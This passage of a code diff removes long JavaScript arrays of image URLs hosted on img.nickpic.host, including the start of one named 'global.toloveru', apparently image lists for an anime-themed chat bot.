-'https://img.nickpic.host/qDBjBN.jpg',
-'https://img.nickpic.host/qDBl6O.jpg',
-'https://img.nickpic.host/qDB5Hm.jpg',
-'https://img.nickpic.host/qDBqDd.jpg',
-'https://img.nickpic.host/qDBgqq.jpg',
-'https://img.nickpic.host/qDBuTD.jpg',
-'https://img.nickpic.host/qDBEj5.jpg',
-'https://img.nickpic.host/qDBOnP.jpg',
-'https://img.nickpic.host/qDBnqf.jpg',
-'https://img.nickpic.host/qDBh9M.jpg',
-'https://img.nickpic.host/qDBQ6e.jpg',
-'https://img.nickpic.host/qDBCbF.jpg',
-'https://img.nickpic.host/qDBUHX.jpg',
-'https://img.nickpic.host/qDBimb.jpg',
-'https://img.nickpic.host/qDBtw6.jpg',
-'https://img.nickpic.host/qDBMWp.jpg',
-'https://img.nickpic.host/qDB1jY.jpg',
-'https://img.nickpic.host/qDB4tA.jpg',
-'https://img.nickpic.host/qDBDeG.jpg',
-'https://img.nickpic.host/qDB7Cc.jpg',
-'https://img.nickpic.host/qDBzbz.jpg',
-'https://img.nickpic.host/qDBYm1.jpg',
-'https://img.nickpic.host/qDB8HW.jpg',
-'https://img.nickpic.host/qDBHuj.jpg',
-'https://img.nickpic.host/qDBNwJ.jpg',
-'https://img.nickpic.host/qDBVWn.jpg',
-'https://img.nickpic.host/qDBJCN.jpg',
-'https://img.nickpic.host/qDB0ls.jpg',
-'https://img.nickpic.host/qDB9eQ.jpg',
-'https://img.nickpic.host/qDB2t2.jpg',
-'https://img.nickpic.host/qDBkrx.jpg',
-'https://img.nickpic.host/qDBLNO.jpg',
-'https://img.nickpic.host/qDBTom.jpg',
-'https://img.nickpic.host/qDBWu8.jpg',
-'https://img.nickpic.host/qDBdWd.jpg',
-'https://img.nickpic.host/qDBZzq.jpg',
-'https://img.nickpic.host/qDbprM.jpg',
-'https://img.nickpic.host/qDbGlD.jpg',
-'https://img.nickpic.host/qDbIM5.jpg',
-'https://img.nickpic.host/qDbmeP.jpg',
-'https://img.nickpic.host/qDbvQF.jpg',
-'https://img.nickpic.host/qDbxNe.jpg',
-'https://img.nickpic.host/qDbboX.jpg',
-'https://img.nickpic.host/qDbrAb.jpg',
-'https://img.nickpic.host/qDbszf.jpg',
-'https://img.nickpic.host/qDblkA.jpg',
-'https://img.nickpic.host/qDbjMY.jpg',
-'https://img.nickpic.host/qDba5p.jpg',
-'https://img.nickpic.host/qDb3Z6.jpg',
-'https://img.nickpic.host/qDbSsG.jpg',
-'https://img.nickpic.host/qDbcQz.jpg',
-'https://img.nickpic.host/qDbgVc.jpg',
-'https://img.nickpic.host/qDbuoW.jpg',
-'https://img.nickpic.host/qDbAA1.jpg',
-'https://img.nickpic.host/qDb65n.jpg',
-'https://img.nickpic.host/qDbE7j.jpg',
-'https://img.nickpic.host/qDbOZJ.jpg',
-'https://img.nickpic.host/qDbCRs.jpg',
-'https://img.nickpic.host/qDbXsQ.jpg',
-'https://img.nickpic.host/qDbQk2.jpg',
-'https://img.nickpic.host/qDbnVN.jpg',
-'https://img.nickpic.host/qDbiUx.jpg',
-'https://img.nickpic.host/qDb178.jpg',
-'https://img.nickpic.host/qDbMpO.jpg',
-'https://img.nickpic.host/qDbREm.jpg',
-'https://img.nickpic.host/qDb4dq.jpg',
-'https://img.nickpic.host/qDbw5d.jpg',
-'https://img.nickpic.host/qDb7J5.jpg',
-'https://img.nickpic.host/qDbzRD.jpg',
-'https://img.nickpic.host/qDbKsP.jpg',
-'https://img.nickpic.host/qDbHfF.jpg',
-'https://img.nickpic.host/qDbYUM.jpg',
-'https://img.nickpic.host/qDbVpe.jpg',
-'https://img.nickpic.host/qDbfEX.jpg',
-'https://img.nickpic.host/qDb2df.jpg',
-'https://img.nickpic.host/qDb08b.jpg',
-'https://img.nickpic.host/qDbeS6.jpg',
-'https://img.nickpic.host/qDbP3A.jpg',
-'https://img.nickpic.host/qDbk1p.jpg',
-'https://img.nickpic.host/qDbdvc.jpg',
-'https://img.nickpic.host/qDbJJY.jpg',
-'https://img.nickpic.host/qDbTXG.jpg',
-'https://img.nickpic.host/qDbWfz.jpg',
-'https://img.nickpic.host/qDbyEW.jpg',
-'https://img.nickpic.host/qDrG81.jpg',
-'https://img.nickpic.host/qDrp1n.jpg',
-'https://img.nickpic.host/qDrIyj.jpg',
-'https://img.nickpic.host/qDroSJ.jpg',
-'https://img.nickpic.host/qDrvLs.jpg',
-'https://img.nickpic.host/qDrbXQ.jpg',
-'https://img.nickpic.host/qDrB32.jpg',
-'https://img.nickpic.host/qDrr0x.jpg',
-'https://img.nickpic.host/qDr3vN.jpg',
-'https://img.nickpic.host/qDr5cq.jpg',
-'https://img.nickpic.host/qDrjy8.jpg',
-'https://img.nickpic.host/qDrFOO.jpg',
-'https://img.nickpic.host/qDrS1d.jpg',
-'https://img.nickpic.host/qDraKm.jpg',
-'https://img.nickpic.host/qDrcLD.jpg',
-'https://img.nickpic.host/qDrqF5.jpg',
-'https://img.nickpic.host/qDruXP.jpg',
-'https://img.nickpic.host/qDrOxF.jpg',
-'https://img.nickpic.host/qDrQGb.jpg',
-'https://img.nickpic.host/qDr6KX.jpg',
-'https://img.nickpic.host/qDrA0M.jpg',
-'https://img.nickpic.host/qDrhOe.jpg',
-'https://img.nickpic.host/qDrUcf.jpg',
-'https://img.nickpic.host/qDrX46.jpg',
-'https://img.nickpic.host/qDrtFY.jpg',
-'https://img.nickpic.host/qDriPp.jpg',
-'https://img.nickpic.host/qDrMiA.jpg',
-'https://img.nickpic.host/qDrDhc.jpg',
-'https://img.nickpic.host/qDrR2G.jpg',
-'https://img.nickpic.host/qDr4xz.jpg',
-'https://img.nickpic.host/qDrwKW.jpg',
-'https://img.nickpic.host/qDr8gj.jpg',
-'https://img.nickpic.host/qDrK4J.jpg',
-'https://img.nickpic.host/qDr7G1.jpg',
-'https://img.nickpic.host/qDrYPn.jpg',
-'https://img.nickpic.host/qDrVi2.jpg',
-'https://img.nickpic.host/qDrNas.jpg',
-'https://img.nickpic.host/qDrf2Q.jpg',
-'https://img.nickpic.host/qDrJIm.jpg',
-'https://img.nickpic.host/qDr2Bx.jpg',
-'https://img.nickpic.host/qDr9hN.jpg',
-'https://img.nickpic.host/qDreYO.jpg',
-'https://img.nickpic.host/qDrZaD.jpg',
-'https://img.nickpic.host/qDrLg8.jpg',
-'https://img.nickpic.host/qDrPDq.jpg',
-'https://img.nickpic.host/qDrTPd.jpg',
-'https://img.nickpic.host/qDrdn5.jpg',
-'https://img.nickpic.host/qDsm6F.jpg',
-'https://img.nickpic.host/qDry2P.jpg',
-'https://img.nickpic.host/qDsIBM.jpg',
-'https://img.nickpic.host/qDsoYe.jpg',
-'https://img.nickpic.host/qDsxqb.jpg',
-'https://img.nickpic.host/qDsvIX.jpg',
-'https://img.nickpic.host/qDsbT6.jpg',
-'https://img.nickpic.host/qDsBDf.jpg',
-'https://img.nickpic.host/qDs3nY.jpg',
-'https://img.nickpic.host/qDssjp.jpg',
-'https://img.nickpic.host/qDsF9A.jpg',
-'https://img.nickpic.host/qDs5Hc.jpg',
-'https://img.nickpic.host/qDsjbG.jpg',
-'https://img.nickpic.host/qDsl6z.jpg',
-'https://img.nickpic.host/qDscIW.jpg',
-'https://img.nickpic.host/qDsuTJ.jpg',
-'https://img.nickpic.host/qDsgq1.jpg',
-'https://img.nickpic.host/qDsqwj.jpg',
-'https://img.nickpic.host/qDsEjn.jpg',
-'https://img.nickpic.host/qDsQCx.jpg',
-'https://img.nickpic.host/qDsOts.jpg',
-'https://img.nickpic.host/qDsh92.jpg',
-'https://img.nickpic.host/qDsCbQ.jpg',
-'https://img.nickpic.host/qDsimO.jpg',
-'https://img.nickpic.host/qDsUHN.jpg',
-'https://img.nickpic.host/qDsnum.jpg',
-'https://img.nickpic.host/qDstw8.jpg',
-'https://img.nickpic.host/qDsMWq.jpg',
-'https://img.nickpic.host/qDs4tD.jpg',
-'https://img.nickpic.host/qDs1jd.jpg',
-'https://img.nickpic.host/qDs7CM.jpg',
-'https://img.nickpic.host/qDsDe5.jpg',
-'https://img.nickpic.host/qDszbP.jpg',
-'https://img.nickpic.host/qDs8NF.jpg',
-'https://img.nickpic.host/qDsYme.jpg',
-'https://img.nickpic.host/qDsVWf.jpg',
-'https://img.nickpic.host/qDsHuX.jpg',
-'https://img.nickpic.host/qDsNzb.jpg',
-'https://img.nickpic.host/qDs2Mp.jpg',
-'https://img.nickpic.host/qDs9eY.jpg',
-'https://img.nickpic.host/qDs0l6.jpg',
-'https://img.nickpic.host/qDskrA.jpg',
-'https://img.nickpic.host/qDsLNz.jpg',
-'https://img.nickpic.host/qDsJQG.jpg',
-'https://img.nickpic.host/qD3GlJ.jpg',
-'https://img.nickpic.host/qDsToc.jpg',
-'https://img.nickpic.host/qDsWuW.jpg',
-'https://img.nickpic.host/qDsZz1.jpg',
-'https://img.nickpic.host/qDsdZj.jpg',
-'https://img.nickpic.host/qD3pr2.jpg',
-'https://img.nickpic.host/qD3IMn.jpg',
-'https://img.nickpic.host/qD3mks.jpg',
-'https://img.nickpic.host/qD3vQQ.jpg',
-'https://img.nickpic.host/qD3xVx.jpg',
-'https://img.nickpic.host/qD3rAO.jpg',
-'https://img.nickpic.host/qD3boN.jpg',
-'https://img.nickpic.host/qD3s7m.jpg',
-'https://img.nickpic.host/qD3jMd.jpg',
-'https://img.nickpic.host/qD33Z8.jpg',
-'https://img.nickpic.host/qD3a5q.jpg',
-'https://img.nickpic.host/qD3lkD.jpg',
-'https://img.nickpic.host/qD3upF.jpg',
-'https://img.nickpic.host/qD3Ss5.jpg',
-'https://img.nickpic.host/qD3cQP.jpg',
-'https://img.nickpic.host/qD3gVM.jpg',
-'https://img.nickpic.host/qD3E7X.jpg',
-'https://img.nickpic.host/qD3AAe.jpg',
-'https://img.nickpic.host/qD3Odb.jpg',
-'https://img.nickpic.host/qD365f.jpg',
-'https://img.nickpic.host/qD3CR6.jpg',
-'https://img.nickpic.host/qD3XsY.jpg',
-'https://img.nickpic.host/qD3QJp.jpg',
-'https://img.nickpic.host/qD3nfG.jpg',
-'https://img.nickpic.host/qD3iUA.jpg',
-'https://img.nickpic.host/qD3Mpz.jpg',
-'https://img.nickpic.host/qD3REc.jpg',
-'https://img.nickpic.host/qD317W.jpg',
-'https://img.nickpic.host/qD3wSj.jpg',
-'https://img.nickpic.host/qD34d1.jpg',
-'https://img.nickpic.host/qD3K3s.jpg',
-'https://img.nickpic.host/qD3zRJ.jpg',
-'https://img.nickpic.host/qD37Jn.jpg',
-'https://img.nickpic.host/qD3YU2.jpg',
-'https://img.nickpic.host/qD3fEN.jpg',
-'https://img.nickpic.host/qD3HfQ.jpg',
-'https://img.nickpic.host/qD3Vvx.jpg',
-'https://img.nickpic.host/qD308O.jpg',
-'https://img.nickpic.host/qD3eS8.jpg',
-'https://img.nickpic.host/qD32ym.jpg',
-'https://img.nickpic.host/qD3k1q.jpg',
-'https://img.nickpic.host/qD3JJd.jpg',
-'https://img.nickpic.host/qD3P3D.jpg',
-'https://img.nickpic.host/qD3WfP.jpg',
-'https://img.nickpic.host/qD3TX5.jpg',
-'https://img.nickpic.host/qDFG8e.jpg',
-'https://img.nickpic.host/qD3dvM.jpg',
-'https://img.nickpic.host/qD3yOF.jpg',
-'https://img.nickpic.host/qDFIyX.jpg',
-'https://img.nickpic.host/qDFocb.jpg',
-'https://img.nickpic.host/qDFBFp.jpg',
-'https://img.nickpic.host/qDFp1f.jpg',
-'https://img.nickpic.host/qDFvL6.jpg',
-'https://img.nickpic.host/qDFr0A.jpg',
-'https://img.nickpic.host/qDFbXY.jpg',
-'https://img.nickpic.host/qDF3xG.jpg',
-'https://img.nickpic.host/qDFFOz.jpg',
-'https://img.nickpic.host/qDFaKc.jpg',
-'https://img.nickpic.host/qDF5c1.jpg',
-'https://img.nickpic.host/qDFjyW.jpg',
-'https://img.nickpic.host/qDFuis.jpg',
-'https://img.nickpic.host/qDFS4j.jpg',
-'https://img.nickpic.host/qDFcLJ.jpg',
-'https://img.nickpic.host/qDFA02.jpg',
-'https://img.nickpic.host/qDFOxQ.jpg',
-'https://img.nickpic.host/qDFQGO.jpg',
-'https://img.nickpic.host/qDFhhx.jpg',
-'https://img.nickpic.host/qDF6KN.jpg',
-'https://img.nickpic.host/qDFiPq.jpg',
-'https://img.nickpic.host/qDFUgm.jpg',
-'https://img.nickpic.host/qDFX48.jpg',
-'https://img.nickpic.host/qDFtFd.jpg',
-'https://img.nickpic.host/qDFMiD.jpg',
-'https://img.nickpic.host/qDF4xP.jpg',
-'https://img.nickpic.host/qDFR25.jpg',
-'https://img.nickpic.host/qDFDhM.jpg',
-'https://img.nickpic.host/qDF8gX.jpg',
-'https://img.nickpic.host/qDFwYF.jpg',
-'https://img.nickpic.host/qDF7Ge.jpg',
-'https://img.nickpic.host/qDFKDb.jpg',
-'https://img.nickpic.host/qDFVnp.jpg',
-'https://img.nickpic.host/qDFYPf.jpg',
-'https://img.nickpic.host/qDFNa6.jpg',
-'https://img.nickpic.host/qDFf2Y.jpg',
-'https://img.nickpic.host/qDF96G.jpg',
-'https://img.nickpic.host/qDF2BA.jpg',
-'https://img.nickpic.host/qDFeYz.jpg',
-'https://img.nickpic.host/qDFJIc.jpg',
-'https://img.nickpic.host/qDFPD1.jpg',
-'https://img.nickpic.host/qDFLgW.jpg',
-'https://img.nickpic.host/qDFTTj.jpg',
-'https://img.nickpic.host/qDFZaJ.jpg',
-'https://img.nickpic.host/qDaIB2.jpg',
-'https://img.nickpic.host/qDFy9s.jpg',
-'https://img.nickpic.host/qDFdnn.jpg',
-'https://img.nickpic.host/qDam6Q.jpg',
-'https://img.nickpic.host/qDaoHx.jpg',
-'https://img.nickpic.host/qDaxqO.jpg',
-'https://img.nickpic.host/qDavIN.jpg',
-'https://img.nickpic.host/qDaBwm.jpg',
-'https://img.nickpic.host/qDasjq.jpg',
-'https://img.nickpic.host/qDa3nd.jpg',
-'https://img.nickpic.host/qDabT8.jpg',
-'https://img.nickpic.host/qDaF9D.jpg',
-'https://img.nickpic.host/qDajb5.jpg',
-'https://img.nickpic.host/qDal6P.jpg',
-'https://img.nickpic.host/qDa5HM.jpg',
-'https://img.nickpic.host/qDacmF.jpg',
-'https://img.nickpic.host/qDagqe.jpg',
-'https://img.nickpic.host/qDaqwX.jpg',
-'https://img.nickpic.host/qDauWb.jpg',
-'https://img.nickpic.host/qDaEjf.jpg',
-'https://img.nickpic.host/qDaOt6.jpg',
-'https://img.nickpic.host/qDahep.jpg',
-'https://img.nickpic.host/qDaCbY.jpg',
-'https://img.nickpic.host/qDaUNG.jpg',
-'https://img.nickpic.host/qDaQCA.jpg',
-'https://img.nickpic.host/qDaimz.jpg',
-'https://img.nickpic.host/qDanuc.jpg',
-'https://img.nickpic.host/qDatwW.jpg',
-'https://img.nickpic.host/qDaMW1.jpg',
-'https://img.nickpic.host/qDa1lj.jpg',
-'https://img.nickpic.host/qDa4tJ.jpg',
-'https://img.nickpic.host/qDazrs.jpg',
-'https://img.nickpic.host/qDaDen.jpg',
-'https://img.nickpic.host/qDa7C2.jpg',
-'https://img.nickpic.host/qDaYox.jpg',
-'https://img.nickpic.host/qDa8NQ.jpg',
-'https://img.nickpic.host/qDaHuN.jpg',
-'https://img.nickpic.host/qDaNzO.jpg',
-'https://img.nickpic.host/qDaVZm.jpg',
-'https://img.nickpic.host/qDa2Mq.jpg',
-'https://img.nickpic.host/qDa0l8.jpg',
-'https://img.nickpic.host/qDa9ed.jpg',
-'https://img.nickpic.host/qDakrD.jpg',
-'https://img.nickpic.host/qDaJQ5.jpg',
-'https://img.nickpic.host/qDaLNP.jpg',
-'https://img.nickpic.host/qDaToM.jpg',
-'https://img.nickpic.host/qDaWAF.jpg',
-'https://img.nickpic.host/qDaZze.jpg',
-'https://img.nickpic.host/qDjG5b.jpg',
-'https://img.nickpic.host/qDadZX.jpg',
-'https://img.nickpic.host/qDjIMf.jpg',
-'https://img.nickpic.host/qDjmk6.jpg',
-'https://img.nickpic.host/qDjvQY.jpg',
-'https://img.nickpic.host/qDjpsp.jpg',
-'https://img.nickpic.host/qDjbpG.jpg',
-'https://img.nickpic.host/qDjrAz.jpg',
-'https://img.nickpic.host/qDjxVA.jpg',
-'https://img.nickpic.host/qDjs7c.jpg',
-'https://img.nickpic.host/qDj3ZW.jpg',
-'https://img.nickpic.host/qDjjRj.jpg',
-'https://img.nickpic.host/qDja51.jpg',
-'https://img.nickpic.host/qDjlkJ.jpg',
-'https://img.nickpic.host/qDjgV2.jpg',
-'https://img.nickpic.host/qDjSsn.jpg',
-'https://img.nickpic.host/qDjcUs.jpg',
-'https://img.nickpic.host/qDjupQ.jpg',
-'https://img.nickpic.host/qDjAEx.jpg',
-'https://img.nickpic.host/qDjOdO.jpg',
-'https://img.nickpic.host/qDjE7N.jpg',
-'https://img.nickpic.host/qDj6Sm.jpg',
-'https://img.nickpic.host/qDjQJq.jpg',
-'https://img.nickpic.host/qDjCR8.jpg',
-'https://img.nickpic.host/u6MZaD.jpg',
-'https://img.nickpic.host/u6My2P.jpg',
-'https://img.nickpic.host/u6Mdn5.jpg',
-'https://img.nickpic.host/u6Rm6F.jpg',
-'https://img.nickpic.host/u6RIBM.jpg',
-'https://img.nickpic.host/u6RoYe.jpg',
-'https://img.nickpic.host/u6RvIX.jpg',
-'https://img.nickpic.host/u6Rxqb.jpg',
-'https://img.nickpic.host/u6RBDf.jpg',
-'https://img.nickpic.host/u6RbT6.jpg',
-'https://img.nickpic.host/u6Rsjp.jpg',
-'https://img.nickpic.host/u6R3nY.jpg',
-'https://img.nickpic.host/u6RF9A.jpg',
-'https://img.nickpic.host/u6RjbG.jpg',
-'https://img.nickpic.host/u6Rl6z.jpg',
-'https://img.nickpic.host/u6R5Hc.jpg',
-'https://img.nickpic.host/u6RcIW.jpg',
-'https://img.nickpic.host/u6Rqwj.jpg',
-'https://img.nickpic.host/u6Rgq1.jpg',
-'https://img.nickpic.host/u6RuTJ.jpg',
-'https://img.nickpic.host/u6REjn.jpg',
-'https://img.nickpic.host/u6ROts.jpg',
-'https://img.nickpic.host/u6Rh92.jpg',
-'https://img.nickpic.host/u6RCbQ.jpg',
-'https://img.nickpic.host/u6RQCx.jpg',
-'https://img.nickpic.host/u6RUHN.jpg',
-'https://img.nickpic.host/u6RimO.jpg',
-'https://img.nickpic.host/u6Rnum.jpg',
-'https://img.nickpic.host/u6Rtw8.jpg',
-'https://img.nickpic.host/u6RMWq.jpg',
-'https://img.nickpic.host/u6R4tD.jpg',
-'https://img.nickpic.host/u6R1jd.jpg',
-'https://img.nickpic.host/u6RDe5.jpg',
-'https://img.nickpic.host/u6R7CM.jpg',
-'https://img.nickpic.host/u6RzbP.jpg',
-'https://img.nickpic.host/u6R8NF.jpg',
-'https://img.nickpic.host/u6RYme.jpg',
-'https://img.nickpic.host/u6RHuX.jpg',
-'https://img.nickpic.host/u6RNzb.jpg',
-'https://img.nickpic.host/u6RVWf.jpg',
-'https://img.nickpic.host/u6R0l6.jpg',
-'https://img.nickpic.host/u6R2Mp.jpg',
-'https://img.nickpic.host/u6R9eY.jpg',
-'https://img.nickpic.host/u6RkrA.jpg',
-'https://img.nickpic.host/u6RLNz.jpg',
-'https://img.nickpic.host/u6RJQG.jpg',
-'https://img.nickpic.host/u6RWuW.jpg',
-'https://img.nickpic.host/u6RToc.jpg',
-'https://img.nickpic.host/u6RZz1.jpg',
-'https://img.nickpic.host/u6RdZj.jpg',
-'https://img.nickpic.host/u61IMn.jpg',
-'https://img.nickpic.host/u61GlJ.jpg',
-'https://img.nickpic.host/u61mks.jpg',
-'https://img.nickpic.host/u61pr2.jpg',
-'https://img.nickpic.host/u61vQQ.jpg',
-'https://img.nickpic.host/u61xVx.jpg',
-'https://img.nickpic.host/u61boN.jpg',
-'https://img.nickpic.host/u61rAO.jpg',
-'https://img.nickpic.host/u61s7m.jpg',
-'https://img.nickpic.host/u613Z8.jpg',
-'https://img.nickpic.host/u61a5q.jpg',
-'https://img.nickpic.host/u61jMd.jpg',
-'https://img.nickpic.host/u61lkD.jpg',
-'https://img.nickpic.host/u61Ss5.jpg',
-'https://img.nickpic.host/u61cQP.jpg',
-'https://img.nickpic.host/u61gVM.jpg',
-'https://img.nickpic.host/u61upF.jpg',
-'https://img.nickpic.host/u61AAe.jpg',
-'https://img.nickpic.host/u61E7X.jpg',
-'https://img.nickpic.host/u61Odb.jpg',
-'https://img.nickpic.host/u6165f.jpg',
-'https://img.nickpic.host/u61CR6.jpg',
-'https://img.nickpic.host/u61QJp.jpg',
-'https://img.nickpic.host/u61XsY.jpg',
-'https://img.nickpic.host/u61iUA.jpg',
-'https://img.nickpic.host/u61Mpz.jpg',
-'https://img.nickpic.host/u61REc.jpg',
-'https://img.nickpic.host/u6117W.jpg',
-'https://img.nickpic.host/u614d1.jpg',
-'https://img.nickpic.host/u61wSj.jpg',
-'https://img.nickpic.host/u61zRJ.jpg',
-'https://img.nickpic.host/u61K3s.jpg',
-'https://img.nickpic.host/u617Jn.jpg',
-'https://img.nickpic.host/u61YU2.jpg',
-'https://img.nickpic.host/u61HfQ.jpg',
-'https://img.nickpic.host/u61Vvx.jpg',
-'https://img.nickpic.host/u61fEN.jpg',
-'https://img.nickpic.host/u6108O.jpg',
-'https://img.nickpic.host/u612ym.jpg',
-'https://img.nickpic.host/u61eS8.jpg',
-'https://img.nickpic.host/u61k1q.jpg',
-'https://img.nickpic.host/u61JJd.jpg',
-'https://img.nickpic.host/u61P3D.jpg',
-'https://img.nickpic.host/u61WfP.jpg',
-'https://img.nickpic.host/u61TX5.jpg',
-'https://img.nickpic.host/u61yOF.jpg',
-'https://img.nickpic.host/u61dvM.jpg',
-'https://img.nickpic.host/u64G8e.jpg',
-'https://img.nickpic.host/u64IyX.jpg',
-'https://img.nickpic.host/u64ocb.jpg',
-'https://img.nickpic.host/u64p1f.jpg',
-'https://img.nickpic.host/u64vL6.jpg',
-'https://img.nickpic.host/u64BFp.jpg',
-'https://img.nickpic.host/u64bXY.jpg',
-'https://img.nickpic.host/u64r0A.jpg',
-'https://img.nickpic.host/u643xG.jpg',
-'https://img.nickpic.host/u64FOz.jpg',
-'https://img.nickpic.host/u64aKc.jpg',
-'https://img.nickpic.host/u645c1.jpg',
-'https://img.nickpic.host/u64jyW.jpg',
-'https://img.nickpic.host/u64S4j.jpg',
-'https://img.nickpic.host/u64cLJ.jpg',
-'https://img.nickpic.host/u64qFn.jpg',
-'https://img.nickpic.host/u64uis.jpg',
-'https://img.nickpic.host/u64OxQ.jpg',
-'https://img.nickpic.host/u64A02.jpg',
-'https://img.nickpic.host/u64hhx.jpg',
-'https://img.nickpic.host/u646KN.jpg']
-
-
-global.toloveru = ['https://img.nickpic.host/q4APBj.jpg',
-'https://img.nickpic.host/q4AJ21.jpg',
-'https://img.nickpic.host/q4Aeac.jpg',
-'https://img.nickpic.host/q4AkiW.jpg',
-'https://img.nickpic.host/q4A2Pz.jpg',
-'https://img.nickpic.host/q4AYh6.jpg',
-'https://img.nickpic.host/q4AfgA.jpg',
-'https://img.nickpic.host/q4A0DG.jpg',
-'https://img.nickpic.host/q4AHYp.jpg',
-'https://img.nickpic.host/q4AVGY.jpg',
-'https://img.nickpic.host/q4AThJ.jpg',
-'https://img.nickpic.host/q4AWYn.jpg',
-'https://img.nickpic.host/q4AdIs.jpg',
-'https://img.nickpic.host/q4Ayg2.jpg',
-'https://img.nickpic.host/q4EGDQ.jpg',
-'https://img.nickpic.host/q4EITx.jpg',
-'https://img.nickpic.host/q4EoaN.jpg',
-'https://img.nickpic.host/q4EpnO.jpg',
-'https://img.nickpic.host/q4Ev9m.jpg',
-'https://img.nickpic.host/q4EBB8.jpg',
-'https://img.nickpic.host/q4Eb6q.jpg',
-'https://img.nickpic.host/q4ErYd.jpg',
-'https://img.nickpic.host/q4E3ID.jpg',
-'https://img.nickpic.host/q4EFq5.jpg',
-'https://img.nickpic.host/q4EaDP.jpg',
-'https://img.nickpic.host/q4EjTM.jpg',
-'https://img.nickpic.host/q4E5jF.jpg',
-'https://img.nickpic.host/q4ESne.jpg',
-'https://img.nickpic.host/q4Ec9X.jpg',
-'https://img.nickpic.host/q4Eqbb.jpg',
-'https://img.nickpic.host/q4Eu6f.jpg',
-'https://img.nickpic.host/q4EAH6.jpg',
-'https://img.nickpic.host/q4EOmp.jpg',
-'https://img.nickpic.host/q4EhqY.jpg',
-'https://img.nickpic.host/q4E6wA.jpg',
-'https://img.nickpic.host/q4ECWG.jpg',
-'https://img.nickpic.host/q4EUjz.jpg',
-'https://img.nickpic.host/q4EXtc.jpg',
-'https://img.nickpic.host/q4Ei9W.jpg',
-'https://img.nickpic.host/q4Etb1.jpg',
-'https://img.nickpic.host/q4EMCj.jpg',
-'https://img.nickpic.host/q4ERHJ.jpg',
-'https://img.nickpic.host/q4E4mn.jpg',
-'https://img.nickpic.host/q4EDus.jpg',
-'https://img.nickpic.host/q4Eww2.jpg',
-'https://img.nickpic.host/q4EzWQ.jpg',
-'https://img.nickpic.host/q4E8lx.jpg',
-'https://img.nickpic.host/q4EKtN.jpg',
-'https://img.nickpic.host/q4EYeO.jpg',
-'https://img.nickpic.host/q4ENrm.jpg',
-'https://img.nickpic.host/q4EVC8.jpg',
-'https://img.nickpic.host/q4EfNq.jpg',
-'https://img.nickpic.host/q4E2md.jpg',
-'https://img.nickpic.host/q4E9uD.jpg',
-'https://img.nickpic.host/q4Eez5.jpg',
-'https://img.nickpic.host/q4EkWP.jpg',
-'https://img.nickpic.host/q4EPMF.jpg',
-'https://img.nickpic.host/q4ELlM.jpg',
-'https://img.nickpic.host/q4EZrX.jpg',
-'https://img.nickpic.host/q4ETee.jpg',
-'https://img.nickpic.host/q4EdQb.jpg',
-'https://img.nickpic.host/q4OIo6.jpg',
-'https://img.nickpic.host/q4EyNf.jpg',
-'https://img.nickpic.host/q4OmAp.jpg',
-'https://img.nickpic.host/q4OozY.jpg',
-'https://img.nickpic.host/q4OpZA.jpg',
-'https://img.nickpic.host/q4Ox5G.jpg',
-'https://img.nickpic.host/q4OBMz.jpg',
-'https://img.nickpic.host/q4Obkc.jpg',
-'https://img.nickpic.host/q4OsrW.jpg',
-'https://img.nickpic.host/q4O3Q1.jpg',
-'https://img.nickpic.host/q4OFVj.jpg',
-'https://img.nickpic.host/q4OjoJ.jpg',
-'https://img.nickpic.host/q4OlAn.jpg',
-'https://img.nickpic.host/q4O57s.jpg',
-'https://img.nickpic.host/q4OSZ2.jpg',
-'https://img.nickpic.host/q4Og5Q.jpg',
-'https://img.nickpic.host/q4OqRx.jpg',
-'https://img.nickpic.host/q4OukN.jpg',
-'https://img.nickpic.host/q4OEsO.jpg',
-'https://img.nickpic.host/q4OOUm.jpg',
-'https://img.nickpic.host/q4OhV8.jpg',
-'https://img.nickpic.host/q4OCpq.jpg',
-'https://img.nickpic.host/q4OQAd.jpg',
-'https://img.nickpic.host/q4OU7D.jpg',
-'https://img.nickpic.host/q4OXd5.jpg',
-'https://img.nickpic.host/q4On5P.jpg',
-'https://img.nickpic.host/q4OtRM.jpg',
-'https://img.nickpic.host/q4OMJF.jpg',
-'https://img.nickpic.host/q4O1se.jpg',
-'https://img.nickpic.host/q4O4UX.jpg',
-'https://img.nickpic.host/q4ODfb.jpg',
-'https://img.nickpic.host/q4Ozpf.jpg',
-'https://img.nickpic.host/q4O7E6.jpg',
-'https://img.nickpic.host/q4O88p.jpg',
-'https://img.nickpic.host/q4OHSA.jpg',
-'https://img.nickpic.host/q4OKdY.jpg',
-'https://img.nickpic.host/q4ON1G.jpg',
-'https://img.nickpic.host/q4OVJz.jpg',
-'https://img.nickpic.host/q4O03c.jpg',
-'https://img.nickpic.host/q4O2UW.jpg',
-'https://img.nickpic.host/q4O9f1.jpg',
-'https://img.nickpic.host/q4Okvj.jpg',
-'https://img.nickpic.host/q4OJEJ.jpg',
-'https://img.nickpic.host/q4OL8n.jpg',
-'https://img.nickpic.host/q4OPys.jpg',
-'https://img.nickpic.host/q4OWS2.jpg',
-'https://img.nickpic.host/q4OZ1Q.jpg',
-'https://img.nickpic.host/q4hG3N.jpg',
-'https://img.nickpic.host/q4hIXO.jpg',
-'https://img.nickpic.host/q4hm0m.jpg',
-'https://img.nickpic.host/q4hpv8.jpg',
-'https://img.nickpic.host/q4hvOq.jpg',
-'https://img.nickpic.host/q4hx8d.jpg',
-'https://img.nickpic.host/q4hByD.jpg',
-'https://img.nickpic.host/q4hrc5.jpg',
-'https://img.nickpic.host/q4hs1P.jpg',
-'https://img.nickpic.host/q4h3LM.jpg',
-'https://img.nickpic.host/q4haFF.jpg',
-'https://img.nickpic.host/q4hjXe.jpg',
-'https://img.nickpic.host/q4hl0X.jpg',
-'https://img.nickpic.host/q4hSxb.jpg',
-'https://img.nickpic.host/q4hcOf.jpg',
-'https://img.nickpic.host/q4hgK6.jpg',
-'https://img.nickpic.host/q4huGp.jpg',
-'https://img.nickpic.host/q4hAcY.jpg',
-'https://img.nickpic.host/q4hE4A.jpg',
-'https://img.nickpic.host/q4hOPG.jpg',
-'https://img.nickpic.host/q4h6Fz.jpg',
-'https://img.nickpic.host/q4hCic.jpg',
-'https://img.nickpic.host/q4hQ0W.jpg',
-'https://img.nickpic.host/q4hihj.jpg',
-'https://img.nickpic.host/q4hXx1.jpg',
-'https://img.nickpic.host/q4hnKJ.jpg',
-'https://img.nickpic.host/q4hMGn.jpg',
-'https://img.nickpic.host/q4hRgs.jpg',
-'https://img.nickpic.host/q4h142.jpg',
-'https://img.nickpic.host/q4h4PQ.jpg',
-'https://img.nickpic.host/q4hziN.jpg',
-'https://img.nickpic.host/q4hwax.jpg',
-'https://img.nickpic.host/q4h72O.jpg',
